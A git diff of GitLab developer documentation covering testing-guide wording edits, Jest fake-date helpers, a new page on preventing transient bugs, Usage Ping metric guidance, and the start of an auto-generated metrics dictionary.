--- a/doc/development/testing_guide/frontend_testing.md +++ b/doc/development/testing_guide/frontend_testing.md @@ -31,7 +31,7 @@ Jest tests can be found in `/spec/frontend` and `/ee/spec/frontend` in EE. ## Karma test suite While GitLab has switched over to [Jest](https://jestjs.io), Karma tests still exist in our -application because some of our specs require a browser and can't be easiliy migrated to Jest. +application because some of our specs require a browser and can't be easily migrated to Jest. Those specs intend to eventually drop Karma in favor of either Jest or RSpec. You can track this migration in the [related epic](https://gitlab.com/groups/gitlab-org/-/epics/4900). @@ -258,7 +258,7 @@ it('exists', () => { ### Naming unit tests When writing describe test blocks to test specific functions/methods, -please use the method name as the describe block name. +use the method name as the describe block name. **Bad**: @@ -439,7 +439,7 @@ it('waits for an Ajax call', done => { }); ``` -If you are not able to register handlers to the `Promise`, for example because it is executed in a synchronous Vue life cycle hook, please take a look at the [waitFor](#wait-until-axios-requests-finish) helpers or you can flush all pending `Promise`s: +If you are not able to register handlers to the `Promise`, for example because it is executed in a synchronous Vue life cycle hook, take a look at the [waitFor](#wait-until-axios-requests-finish) helpers or you can flush all pending `Promise`s: **in Jest:** @@ -548,8 +548,12 @@ In order to ensure that a clean wrapper object and DOM are being used in each te }); ``` +<!-- vale gitlab.Spelling = NO --> + See also the [Vue Test Utils documentation on `destroy`](https://vue-test-utils.vuejs.org/api/wrapper/#destroy). +<!-- vale gitlab.Spelling = YES --> + ### Jest best practices > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34209) in GitLab 13.2. @@ -646,20 +650,46 @@ The latter is useful when you have `setInterval` in the code. **Remember:** our Non-determinism is the breeding ground for flaky and brittle specs. Such specs end up breaking the CI pipeline, interrupting the work flow of other contributors. -1. Make sure your test subject's collaborators (e.g., axios, apollo, lodash helpers) and test environment (e.g., Date) behave consistently across systems and over time. +1. Make sure your test subject's collaborators (e.g., Axios, apollo, Lodash helpers) and test environment (e.g., Date) behave consistently across systems and over time. 1. Make sure tests are focused and not doing "extra work" (e.g., needlessly creating the test subject more than once in an individual test) ### Faking `Date` for determinism -Consider using `useFakeDate` to ensure a consistent value is returned with every `new Date()` or `Date.now()`. +`Date` is faked by default in our Jest environment. This means every call to `Date()` or `Date.now()` returns a fixed deterministic value. + +If you really need to change the default fake date, you can call `useFakeDate` within any `describe` block, and +the date will be replaced for that specs within that `describe` context only: ```javascript import { useFakeDate } from 'helpers/fake_date'; describe('cool/component', () => { - useFakeDate(); + // Default fake `Date` + const TODAY = new Date(); - // ... + // NOTE: `useFakeDate` cannot be called during test execution (i.e. inside `it`, `beforeEach`, `beforeAll`, etc.). + describe("on Ada Lovelace's Birthday", () => { + useFakeDate(1815, 11, 10) + + it('Date is no longer default', () => { + expect(new Date()).not.toEqual(TODAY); + }); + }); + + it('Date is still default in this scope', () => { + expect(new Date()).toEqual(TODAY) + }); +}) +``` + +Similarly, if you really need to use the real `Date` class, then you can import and call `useRealDate` within any `describe` block: + +```javascript +import { useRealDate } from 'helpers/fake_date'; + +// NOTE: `useRealDate` cannot be called during test execution (i.e. inside `it`, `beforeEach`, `beforeAll`, etc.). +describe('with real date', () => { + useRealDate(); }); ``` @@ -702,10 +732,10 @@ unit testing by mocking out modules which cannot be easily consumed in our test Jest supports [manual module mocks](https://jestjs.io/docs/en/manual-mocks) by placing a mock in a `__mocks__/` directory next to the source module (e.g. `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder). -If a manual mock is needed for a `node_modules` package, please use the `spec/frontend/__mocks__` folder. Here's an example of +If a manual mock is needed for a `node_modules` package, use the `spec/frontend/__mocks__` folder. Here's an example of a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js#L1). -If a manual mock is needed for a CE module, please place it in `spec/frontend/mocks/ce`. +If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce`. - Files in `spec/frontend/mocks/ce` mocks the corresponding CE module from `app/assets/javascripts`, mirroring the source module's path. - Example: `spec/frontend/mocks/ce/lib/utils/axios_utils` mocks the module `~/lib/utils/axios_utils`. @@ -728,11 +758,11 @@ If a manual mock is needed for a CE module, please place it in `spec/frontend/mo Global mocks introduce magic and technically can reduce test coverage. When mocking is deemed profitable: - Keep the mock short and focused. -- Please leave a top-level comment in the mock on why it is necessary. +- Leave a top-level comment in the mock on why it is necessary. ### Additional mocking techniques -Please consult the [official Jest docs](https://jestjs.io/docs/en/jest-object#mock-modules) for a full overview of the available mocking features. +Consult the [official Jest docs](https://jestjs.io/docs/en/jest-object#mock-modules) for a full overview of the available mocking features. ## Running Frontend Tests @@ -807,7 +837,7 @@ yarn karma -f 'spec/javascripts/ide/**/file_spec.js' ## Frontend test fixtures Frontend fixtures are files containing responses from backend controllers. These responses can be either HTML -generated from haml templates or JSON payloads. Frontend tests that rely on these responses are +generated from HAML templates or JSON payloads. Frontend tests that rely on these responses are often using fixtures to validate correct integration with the backend code. ### Generate fixtures @@ -865,7 +895,7 @@ end This will create a new fixture located at `tmp/tests/frontend/fixtures-ee/graphql/releases/queries/all_releases.query.graphql.json`. -Note that you will need to provide the paths to all fragments used by the query. +You will need to provide the paths to all fragments used by the query. `get_graphql_query_as_string` reads all of the provided file paths and returns the result as a single, concatenated string. @@ -929,7 +959,8 @@ it.each([ ); ``` -**Note**: only use template literal block if pretty print is **not** needed for spec output. For example, empty strings, nested objects etc. +NOTE: +Only use template literal block if pretty print is not needed for spec output. For example, empty strings, nested objects etc. For example, when testing the difference between an empty search string and a non-empty search string, the use of the array block syntax with the pretty print option would be preferred. That way the differences between an empty string e.g. `''` and a non-empty string e.g. `'search string'` would be visible in the spec output. Whereas with a template literal block, the empty string would be shown as a space, which could lead to a confusing developer experience @@ -1038,9 +1069,10 @@ import Subject from '~/feature/the_subject.vue'; import _Thing from '~/feature/path/to/thing.vue'; ``` -**PLEASE NOTE:** Do not simply disregard test timeouts. This could be a sign that there's +NOTE: +Do not disregard test timeouts. This could be a sign that there's actually a production problem. Use this opportunity to analyze the production webpack bundles and -chunks and confirm that there is not a production issue with the async imports. +chunks and confirm that there is not a production issue with the asynchronous imports. ## Overview of Frontend Testing Levels @@ -1063,7 +1095,7 @@ See also [Notes on testing Vue components](../fe_guide/vue.md#testing-vue-compon ## Test helpers Test helpers can be found in [`spec/frontend/__helpers__`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/__helpers__). -If you introduce new helpers, please place them in that directory. +If you introduce new helpers, place them in that directory. ### Vuex Helper: `testAction` @@ -1090,9 +1122,13 @@ Check an example in [`spec/frontend/ide/stores/actions_spec.js`](https://gitlab. ### Wait until Axios requests finish +<!-- vale gitlab.Spelling = NO --> + The Axios Utils mock module located in `spec/frontend/mocks/ce/lib/utils/axios_utils.js` contains two helper methods for Jest tests that spawn HTTP requests. These are very useful if you don't have a handle to the request's Promise, for example when a Vue component does a request as part of its life cycle. +<!-- vale gitlab.Spelling = YES --> + - `waitFor(url, callback)`: Runs `callback` after a request to `url` finishes (either successfully or unsuccessfully). - `waitForAll(callback)`: Runs `callback` once all pending requests have finished. If no requests are pending, runs `callback` on the next tick. diff --git a/doc/development/testing_guide/index.md b/doc/development/testing_guide/index.md index 68326879dd0..c22a4e0b3ad 100644 --- a/doc/development/testing_guide/index.md +++ b/doc/development/testing_guide/index.md @@ -9,9 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w This document describes various guidelines and best practices for automated testing of the GitLab project. -It is meant to be an _extension_ of the [thoughtbot testing +It is meant to be an _extension_ of the [Thoughtbot testing style guide](https://github.com/thoughtbot/guides/tree/master/testing-rspec). If -this guide defines a rule that contradicts the thoughtbot guide, this guide +this guide defines a rule that contradicts the Thoughtbot guide, this guide takes precedence. Some guidelines may be repeated verbatim to stress their importance. diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md index a5294be40a9..f1c74f990cb 100644 --- a/doc/development/testing_guide/review_apps.md +++ b/doc/development/testing_guide/review_apps.md @@ -186,9 +186,9 @@ the GitLab handbook information for the [shared 1Password account](https://about ### Find my Review App slug 1. Open the `review-deploy` job. -1. Look for `Checking for previous deployment of review-*`. -1. For instance for `Checking for previous deployment of review-qa-raise-e-12chm0`, - your Review App slug would be `review-qa-raise-e-12chm0` in this case. +1. Look for `** Deploying review-*`. +1. For instance for `** Deploying review-1234-abc-defg... **`, + your Review App slug would be `review-1234-abc-defg` in this case. ### Run a Rails console @@ -357,7 +357,7 @@ using `v232`. For the record, the debugging steps to find out this issue were: -1. Switch kubectl context to review-apps-ce (we recommend using [kubectx](https://github.com/ahmetb/kubectx/)) +1. Switch kubectl context to `review-apps-ce` (we recommend using [`kubectx`](https://github.com/ahmetb/kubectx/)) 1. `kubectl get pods | grep dns` 1. `kubectl describe pod <pod name>` & confirm exact error message 1. Web search for exact error message, following rabbit hole to [a relevant Kubernetes bug report](https://github.com/kubernetes/kubernetes/issues/57345) diff --git a/doc/development/testing_guide/testing_migrations_guide.md b/doc/development/testing_guide/testing_migrations_guide.md index 31054d0ffb2..d54ca0d3c64 100644 --- a/doc/development/testing_guide/testing_migrations_guide.md +++ b/doc/development/testing_guide/testing_migrations_guide.md @@ -32,7 +32,7 @@ migrate the database **down** to the previous migration version. With this approach you can test a migration against a database schema. -An `after` hook migrates the database **up** and reinstitutes the latest +An `after` hook migrates the database **up** and restores the latest schema version, so that the process does not affect subsequent specs and ensures proper isolation. diff --git a/doc/development/transient/prevention-patterns.md b/doc/development/transient/prevention-patterns.md new file mode 100644 index 00000000000..4c1e4d373e7 --- /dev/null +++ b/doc/development/transient/prevention-patterns.md @@ -0,0 +1,141 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Preventing Transient Bugs + +This page will cover architectural patterns and tips for developers to follow to prevent [transient bugs.](https://about.gitlab.com/handbook/engineering/quality/issue-triage/#transient-bugs) + +## Common root causes + +We've noticed a few root causes that come up frequently when addressing transient bugs. + +- Needs better state management in the backend or frontend. +- Frontend code needs improvements. +- Lack of test coverage. +- Race conditions. + +## Frontend + +### Don't rely on response order + +When working with multiple requests, it's easy to assume the order of the responses will match the order in which they are triggered. + +That's not always the case and can cause bugs that only happen if the order is switched. + +**Example:** + +- `diffs_metadata.json` (lighter) +- `diffs_batch.json` (heavier) + +If your feature requires data from both, ensure that the two have finished loading before working on it. + +### Simulate slower connections when testing manually + +Add a network condition template to your browser's developer tools to enable you to toggle between a slow and a fast connection. + +**Example:** + +- Turtle: + - Down: 50kb/s + - Up: 20kb/s + - Latency: 10000ms + +### Collapsed elements + +When setting event listeners, if not possible to use event delegation, ensure all relevant event listeners are set for expanded content. + +Including when that expanded content is: + +- **Invisible** (`display: none;`). Some JavaScript requires the element to be visible to work properly, such as when taking measurements. +- **Dynamic content** (AJAX/DOM manipulation). + +### Using assertions to detect transient bugs caused by unmet conditions + +Transient bugs happen in the context of code that executes under the assumption +that the application’s state meets one or more conditions. We may write a feature +that assumes a server-side API response always include a group of attributes or that +an operation only executes when the application has successfully transitioned to a new +state. + +Transient bugs are difficult to debug because there isn’t any mechanism that alerts +the user or the developer about unsatisfied conditions. These conditions are usually +not expressed explicitly in the code. A useful debugging technique for such situations +is placing assertions to make any assumption explicit. They can help detect the cause +which unmet condition causes the bug. + +#### Asserting pre-conditions on state mutations + +A common scenario that leads to transient bugs is when there is a polling service +that should mutate state only if a user operation is completed. We can use +assertions to make this pre-condition explicit: + +```javascript +// This action is called by a polling service. It assumes that all pre-conditions +// are satisfied by the time the action is dispatched. +export const updateMergeableStatus = ({ commit }, payload) => { + commit(types.SET_MERGEABLE_STATUS, payload); +}; + +// We can make any pre-condition explicit by adding an assertion +export const updateMergeableStatus = ({ state, commit }, payload) => { + console.assert( + state.isResolvingDiscussion === true, + 'Resolve discussion request must be completed before updating mergeable status' + ); + commit(types.SET_MERGEABLE_STATUS, payload); +}; +``` + +#### Asserting API contracts + +Another useful way of using assertions is to detect if the response payload returned +by the server-side endpoint satisfies the API contract. + +#### Related reading + +[Debug it!](https://pragprog.com/titles/pbdp/debug-it/) explores techniques to diagnose +and fix non-determinstic bugs and write software that is easier to debug. + +## Backend + +### Sidekiq jobs with locks + +When dealing with asynchronous work via Sidekiq, it is possible to have 2 jobs with the same arguments +getting worked on at the same time. If not handled correctly, this can result in an outdated or inaccurate state. + +For instance, consider a worker that updates a state of an object. Before the worker updates the state +(for example, `#update_state`) of the object, it needs to check what the appropriate state should be +(for example, `#check_state`). + +When there are 2 jobs being worked on at the same time, it is possible that the order of operations will go like: + +1. (Worker A) Calls `#check_state` +1. (Worker B) Calls `#check_state` +1. (Worker B) Calls `#update_state` +1. (Worker A) Calls `#update_state` + +In this example, `Worker B` is meant to set the updated status. But `Worker A` calls `#update_state` a little too late. + +This can be avoided by utilizing either database locks or `Gitlab::ExclusiveLease`. This way, jobs will be +worked on one at a time. This also allows them to be marked as [idempotent](../sidekiq_style_guide.md#idempotent-jobs). + +### Retry mechanism handling + +There are times that an object/record will be on a failed state which can be rechecked. + +If an object is in a state that can be rechecked, ensure that appropriate messaging is shown to the user +so they know what to do. Also, make sure that the retry functionality will be able to reset the state +correctly when triggered. + +### Error Logging + +Error logging doesn't necessarily directly prevents transient bugs but it can help to debug them. + +When coding, sometimes we expect some exceptions to be raised and we rescue them. + +Logging whenever we rescue an error helps in case it's causing transient bugs that a user may see. +While investigating a bug report, it may require the engineer to look into logs of when it happened. +Seeing an error being logged can be a signal of something that went wrong which can be handled differently. diff --git a/doc/development/ui_guide.md b/doc/development/ui_guide.md deleted file mode 100644 index 1e84bf608f4..00000000000 --- a/doc/development/ui_guide.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/' ---- - -The content of this document was moved into the [GitLab Design System](https://design.gitlab.com/). diff --git a/doc/development/usage_ping.md b/doc/development/usage_ping.md index 10c3de2f0a1..3618d18b1bb 100644 --- a/doc/development/usage_ping.md +++ b/doc/development/usage_ping.md @@ -6,10 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Usage Ping Guide -> - Introduced in GitLab Enterprise Edition 8.10. -> - More statistics were added in GitLab Enterprise Edition 8.12. -> - Moved to GitLab Core in 9.1. -> - More statistics were added in GitLab Ultimate 11.2. +> Introduced in GitLab Ultimate 11.2, more statistics. This guide describes Usage Ping's purpose and how it's implemented. @@ -122,6 +119,60 @@ sequenceDiagram the hostname is `version.gitlab.com`, the protocol is `TCP`, and the port number is `443`, the required URL is <https://version.gitlab.com/>. +## Usage Ping Metric Life cycle + +### 1. New metrics addition + +Please follow the [Implementing Usage Ping](#implementing-usage-ping) guide. + +### 2. Existing metric change + +Because we do not control when customers update their self-managed instances of GitLab, +we **STRONGLY DISCOURAGE** changes to the logic used to calculate any metric. +Any such changes lead to inconsistent reports from multiple GitLab instances. +If there is a problem with an existing metric, it's best to deprecate the existing metric, +and use it, side by side, with the desired new metric. + +Example: +Consider following change. Before GitLab 12.6, the `example_metric` was implemented as: + +```ruby +{ + ... + example_metric: distinct_count(Project, :creator_id) +} +``` + +For GitLab 12.6, the metric was changed to filter out archived projects: + +```ruby +{ + ... + example_metric: distinct_count(Project.non_archived, :creator_id) +} +``` + +In this scenario all instances running up to GitLab 12.5 continue to report `example_metric`, +including all archived projects, while all instances running GitLab 12.6 and higher filters +out such projects. As Usage Ping data is collected from all reporting instances, the +resulting dataset includes mixed data, which distorts any following business analysis. + +The correct approach is to add a new metric for GitLab 12.6 release with updated logic: + +```ruby +{ + ... + example_metric_without_archived: distinct_count(Project.non_archived, :creator_id) +} +``` + +and update existing business analysis artefacts to use `example_metric_without_archived` instead of `example_metric` + +### 3. Metrics deprecation and removal + +The process for deprecating and removing metrics is currently under development. For +more information, see the following [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/284637). + ## Implementing Usage Ping Usage Ping consists of two kinds of data, counters and observations. Counters track how often a certain event @@ -175,9 +226,9 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the count - `column` the column to perform the count on, by default is the primary key -- `batch`: default `true` in order to use batch counting -- `start`: custom start of the batch counting in order to avoid complex min calculations -- `end`: custom end of the batch counting in order to avoid complex min calculations +- `batch`: default `true` to use batch counting +- `start`: custom start of the batch counting to avoid complex min calculations +- `end`: custom end of the batch counting to avoid complex min calculations Examples: @@ -199,10 +250,10 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the count - `column` the column to perform the distinct count, by default is the primary key -- `batch`: default `true` in order to use batch counting +- `batch`: default `true` to use batch counting - `batch_size`: if none set it uses default value 10000 from `Gitlab::Database::BatchCounter` -- `start`: custom start of the batch counting in order to avoid complex min calculations -- `end`: custom end of the batch counting in order to avoid complex min calculations +- `start`: custom start of the batch counting to avoid complex min calculations +- `end`: custom end of the batch counting to avoid complex min calculations WARNING: Counting over non-unique columns can lead to performance issues. Take a look at the [iterating tables in batches](iterating_tables_in_batches.md) guide for more details. @@ -228,8 +279,8 @@ Arguments: - `relation` the ActiveRecord_Relation to perform the operation - `column` the column to sum on - `batch_size`: if none set it uses default value 1000 from `Gitlab::Database::BatchCounter` -- `start`: custom start of the batch counting in order to avoid complex min calculations -- `end`: custom end of the batch counting in order to avoid complex min calculations +- `start`: custom start of the batch counting to avoid complex min calculations +- `end`: custom end of the batch counting to avoid complex min calculations Examples: @@ -281,7 +332,7 @@ The method includes the following arguments: - `column`: The column to perform the distinct count. The default is the primary key. - `batch_size`: The default is 10,000, from `Gitlab::Database::PostgresHll::BatchDistinctCounter::DEFAULT_BATCH_SIZE`. - `start`: The custom start of the batch count, to avoid complex minimum calculations. -- `finish`: The custom end of the batch count in order to avoid complex maximum calculations. +- `finish`: The custom end of the batch count to avoid complex maximum calculations. The method includes the following prerequisites: @@ -364,7 +415,7 @@ Examples of implementation: API requests are protected by checking for a valid CSRF token. - In order to be able to increment the values the related feature `usage_data_<event_name>` should be enabled. + To be able to increment the values, the related feature `usage_data_<event_name>` should be enabled. ```plaintext POST /usage_data/increment_counter @@ -383,7 +434,7 @@ Examples of implementation: 1. Track events using JavaScript/Vue API helper which calls the API above - Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled in order to be able to track events + Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled to be able to track events ```javascript import api from '~/api'; @@ -429,7 +480,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF - `a_` for events encompassing all `g_`, `p_`, `i_`. - `o_` for other. - Consider including in the event's name the Redis slot in order to be able to count totals for a specific category. + Consider including in the event's name the Redis slot to be able to count totals for a specific category. Example names: `i_compliance_credential_inventory`, `g_analytics_contribution`. @@ -444,16 +495,17 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF aggregation. - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis. Aggregation on a `daily` basis does not pull more fine grained data. - - `feature_flag`: optional. For details, see our [GitLab internal Feature flags](feature_flags/) documentation. + - `feature_flag`: optional `default_enabled: :yaml`. If no feature flag is set then the tracking is enabled. For details, see our [GitLab internal Feature flags](feature_flags/) documentation. The feature flags are owned by the group adding the event tracking. + +Use one of the following methods to track events: -1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, feature:, feature_default_enabled: false)`. +1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, if: nil)`. Arguments: - `controller_actions`: controller actions we want to track. - `name`: event name. - - `feature`: feature name, all metrics we track should be under feature flag. - - `feature_default_enabled`: feature flag is disabled by default, set to `true` for it to be enabled by default. + - `if`: optional custom conditions, using the same format as with Rails callbacks. Example usage: @@ -463,7 +515,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF include RedisTracking skip_before_action :authenticate_user!, only: :show - track_redis_hll_event :index, :show, name: 'g_compliance_example_feature_visitors', feature: :compliance_example_feature, feature_default_enabled: true + track_redis_hll_event :index, :show, name: 'g_compliance_example_feature_visitors' def index render html: 'index' @@ -481,7 +533,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF 1. Track event in API using `increment_unique_values(event_name, values)` helper method. - In order to be able to track the event, Usage Ping must be enabled and the event feature `usage_data_<event_name>` must be enabled. + To be able to track the event, Usage Ping must be enabled and the event feature `usage_data_<event_name>` must be enabled. Arguments: @@ -508,9 +560,9 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF Example: - [Track usage event for incident created in service](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/issues/update_service.rb) + [Track usage event for incident created in service](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/app/services/issues/update_service.rb#L66) - [Track usage event for incident created in GraphQL](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/mutations/alert_management/update_alert_status.rb) + [Track usage event for incident created in GraphQL](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/app/graphql/mutations/alert_management/update_alert_status.rb#L16) ```ruby track_usage_event(:incident_management_incident_created, current_user.id) @@ -526,7 +578,7 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF API requests are protected by checking for a valid CSRF token. - In order to increment the values, the related feature `usage_data_<event_name>` should be + To increment the values, the related feature `usage_data_<event_name>` should be set to `default_enabled: true`. For more information, see [Feature flags in development of GitLab](feature_flags/index.md). @@ -562,21 +614,6 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF api.trackRedisHllUserEvent('my_already_defined_event_name'), ``` -1. Track event using base module `Gitlab::UsageDataCounters::HLLRedisCounter.track_event(event_name, values:)`. - - Arguments: - - - `event_name`: event name. - - `values`: One value or array of values we count. For example: user_id, visitor_id, user_ids. - -1. Track event on context level using base module `Gitlab::UsageDataCounters::HLLRedisCounter.track_event_in_context(event_name, values:, context:)`. - - Arguments: - - - `event_name`: event name. - - `values`: values we count. For example: user_id, visitor_id. - - `context`: context value. Allowed values are `default`, `free`, `bronze`, `silver`, `gold`, `starter`, `premium`, `ultimate` - 1. Get event data using `Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names:, start_date:, end_date:, context: '')`. Arguments: @@ -600,7 +637,7 @@ Next, get the unique events for the current week. ```ruby # Get unique events for metric for current_week Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: 'g_compliance_audit_events', - start_date: Date.current.beginning_of_week, end_date: Date.current.end_of_week) + start_date: Date.current.beginning_of_week, end_date: Date.current.next_week) ``` ##### Recommendations @@ -780,7 +817,7 @@ Paste the SQL query into `#database-lab` to see how the query performs at scale. - Any single query must stay below [1 second execution time](query_performance.md#timing-guidelines-for-queries) with cold caches. - Add a specialized index on columns involved to reduce the execution time. -In order to have an understanding of the query's execution we add in the MR description the following information: +To have an understanding of the query's execution we add in the MR description the following information: - For counters that have a `time_period` test we add information for both cases: - `time_period = {}` for all time periods @@ -839,16 +876,16 @@ There are currently three kinds of components that may export data to Prometheus This is the recommended approach to test Prometheus based Usage Ping. -The easiest way to verify your changes is to build a new Omnibus image from your code branch via CI, then download the image +The easiest way to verify your changes is to build a new Omnibus image from your code branch by using CI, then download the image and run a local container instance: 1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job triggers an Omnibus build in a [downstream pipeline of the `omnibus-gitlab-mirror` project](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/pipelines). 1. In the downstream pipeline, wait for the `gitlab-docker` job to finish. 1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`. -1. On your local machine, make sure you are logged in to the GitLab Docker registry. You can find the instructions for this in +1. On your local machine, make sure you are signed in to the GitLab Docker registry. You can find the instructions for this in [Authenticate to the GitLab Container Registry](../user/packages/container_registry/index.md#authenticate-with-the-container-registry). -1. Once logged in, download the new image via `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>` +1. Once signed in, download the new image by using `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>` 1. For more information about working with and running Omnibus GitLab containers in Docker, please refer to [GitLab Docker images](https://docs.gitlab.com/omnibus/docker/README.html) in the Omnibus documentation. #### Test with GitLab development toolkits @@ -875,7 +912,7 @@ appear to be associated to any of the services running, since they all appear to WARNING: This feature is intended solely for internal GitLab use. -In order to add data for aggregated metrics into Usage Ping payload you should add corresponding definition in [`aggregated_metrics`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics/). Each aggregate definition includes following parts: +To add data for aggregated metrics into Usage Ping payload you should add corresponding definition in [`aggregated_metrics`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics/). Each aggregate definition includes following parts: - name: unique name under which aggregate metric is added to Usage Ping payload - operator: operator that defines how aggregated metric data is counted. Available operators are: diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md new file mode 100644 index 00000000000..ca3e0f1aae6 --- /dev/null +++ b/doc/development/usage_ping/dictionary.md @@ -0,0 +1,887 @@ +--- +stage: Growth +group: Product Intelligence +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +<!--- + This documentation is auto generated by a script. + + Please do not edit this file directly, check generate_metrics_dictionary task on lib/tasks/gitlab/usage_data.rake. +---> + +<!-- vale gitlab.Spelling = NO --> + +# Metrics Dictionary + +This file is autogenerated, please do not edit directly. + +To generate these files from the GitLab repository, run: + +```shell +bundle exec rake gitlab:usage_data:generate_metrics_dictionary +``` + +The Metrics Dictionary is based on the following metrics definition YAML files: + +- [`config/metrics`]('https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics') +- [`ee/config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/config/metrics) +Each table includes a `milestone`, which corresponds to the GitLab version when the metric +was released. + +## `active_user_count` + +This is named the instance_user_count in the Versions application. + +| field | value | +| --- | --- | +| `key_path` | **`active_user_count`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | Database | +| `distribution` | ce, ee | +| `tier` | free, premium, ultimate | +| `skip_validation` | true | + +## `container_registry_enabled` + +Whether container registry is enabled + +| field | value | +| --- | --- | +| `key_path` | **`container_registry_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `counts.deployments` + +Total deployments count + +| field | value | +| --- | --- | +| `key_path` | **`counts.deployments`** | +| `product_section` | ops | +| `product_stage` | release | +| `product_group` | `group::ops release` | +| `value_type` | number | +| `status` | data_available | +| `milestone` | 8.12 | +| `introduced_by_url` | [Introduced by](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/735) | +| `time_frame` | all | +| `data_source` | Database | +| `distribution` | ee, ce | +| `tier` | free, premium, ultimate | + +## `counts.geo_nodes` + +Total number of sites in a Geo deployment + +| field | value | +| --- | --- | +| `key_path` | **`counts.geo_nodes`** | +| `product_section` | enablement | +| `product_stage` | enablement | +| `product_group` | `group::geo` | +| `product_category` | disaster_recovery | +| `value_type` | integer | +| `status` | data_available | +| `milestone` | 11.2 | +| `time_frame` | all | +| `data_source` | Database | +| `distribution` | ee | +| `tier` | premium, ultimate | + +## `counts.license_management_jobs` + +Name on the GitLab license + +| field | value | +| --- | --- | +| `key_path` | **`counts.license_management_jobs`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | number | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | Database | +| `distribution` | | +| `tier` | premium, ultimate | +| `skip_validation` | true | + +## `counts_monthly.deployments` + +Total deployments count for recent 28 days + +| field | value | +| --- | --- | +| `key_path` | **`counts_monthly.deployments`** | +| `product_section` | ops | +| `product_stage` | release | +| `product_group` | `group::ops release` | +| `product_category` | | +| `value_type` | number | +| `status` | data_available | +| `milestone` | 13.2 | +| `introduced_by_url` | [Introduced by](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35493) | +| `time_frame` | 28d | +| `data_source` | Database | +| `distribution` | ee, ce | +| `tier` | free, premium, ultimate | + +## `database.adapter` + +This metric only returns a value of PostgreSQL in supported versions of GitLab. It could be removed from the usage ping. Historically MySQL was also supported. + +| field | value | +| --- | --- | +| `key_path` | **`database.adapter`** | +| `product_section` | enablement | +| `product_stage` | enablement | +| `product_group` | `group::enablement distribution` | +| `product_category` | collection | +| `value_type` | string | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | Database | +| `distribution` | ee, ce | +| `tier` | free, premium, ultimate | + +## `dependency_proxy_enabled` + +Whether dependency proxy is enabled + +| field | value | +| --- | --- | +| `key_path` | **`dependency_proxy_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | +| `value_type` | boolean | +| `status` | data_available | +| `time_frame` | none | +| `data_source` | | +| `distribution` | | +| `tier` | | +| `skip_validation` | true | + +## `elasticsearch_enabled` + +Whether Elasticsearch is enabled + +| field | value | +| --- | --- | +| `key_path` | **`elasticsearch_enabled`** | +| `product_section` | growth | +| `product_stage` | growth | +| `product_group` | `group::product intelligence` | +| `product_category` | collection | 